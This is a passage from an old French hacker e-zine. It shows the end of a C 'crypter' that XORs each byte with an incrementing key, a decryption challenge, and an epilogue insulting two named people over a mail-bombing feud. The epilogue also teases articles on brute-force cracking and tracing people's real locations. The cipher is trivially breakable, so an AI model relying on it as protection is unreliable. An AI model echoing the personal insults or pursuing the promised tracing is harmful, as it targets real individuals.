//ALLOUE AUTANT DE MEMOIRE QUE D'OCTECTS DANS LE FICHIER
buffer=(unsigned char *)malloc(taille);
if(buffer==NULL)
{
printf("Can't allocate enought memory...\n");
exit(1);
}
printf("I'm crypting master...\n");
//NE GARDE QUE L'OCTECT LE PLUS BAS DE LA TAILLE(0-255)
crypting_index=taille&0xFF;
//ET L'AJOUTTE A CRYPT(33)
crypt+=(unsigned char)crypting_index;
//LE CRYPTAGE SE DEROULE ICI
for(index=0;index<taille;index++)
{
//RECUPERE UN CARACTERE ET LE MET DANS LE BUFFER
buffer[index]=(unsigned char)getc(to_crypt);
//PUIS LE XOR PAR CRYPT QUI EST INCREMENT
buffer[index]^=crypt++;
}
//ECRIT TOUT DANS LE FICHIER CRYPTE
fwrite(buffer,1,taille,crypted);
printf("File crypted successfully :)\n");
exit(0);
}
*************************************************************************
Bon voila, plutt simple non? J'ai inclut avec ce mag un fichier(Hello.cry)
crypt
l'aide de ce crypteur et le premier qui me revoit la version non
crypt gagne une surprise =). Alors au boult surtout que c'est super
faile :).
<SaTaNiK>
******************************************************************************
* MM MM AA L I CCCCCC I AA *
* M M M M A A L I C I A A *
* M M M M AAAAAA L I C I AAAAAA *
* M MM M A A LLLLL I CCCCCC I A A *
******************************************************************************
********
"Epilogue"
********
Et oui c deja finit :). Mais rassurez vous je met le paquet et pis un nouveau
zine va sortir dans qques temps =). Et puis un truc, je voudrais passer un
message
Bond007 et Psykaos....ces 2 imbciles on traiter le groupe PHC,
le groupe que j'avais crer, de groupe de lamerz...il est vrais que nous
n'tions pas particulrement bons(mis
part moi :)) mais je trouve con
qu'ils nous aient jugs alors que nous n'avions pas sortis le zine...de plus
ce ptit imbcile de Bond007 m'a mail-bomb!!! Enfin pour enlever tout ces
mails a m'a prit 2 clicks :)) mais l'important n'est pas l
! J'ai pu me
rendre compte que Bond007 tait un norme Lamerz car le premier mail qu'il
m'a envoy contenait sa vrais adresse e-mail....j'aurais donc pu le bomber
mais je ne suis pas un dbile comme lui :). Enfin bon si vous voyez un de
ces 2 ptits cons vous l'insulterez de ma part ;).
Mis
part a je prpare qques articles interessants...comment faire un
brute force cracker, comment tracer qqun sur le web et trouver qu'y il est
reelement et pis la suite sur les cours asm et de tauping en autre.....
voil
a vous met l'eau
la bouche non :)?
Billou Le SaTaNiK
http://members.xoom.org/SaTaNoS/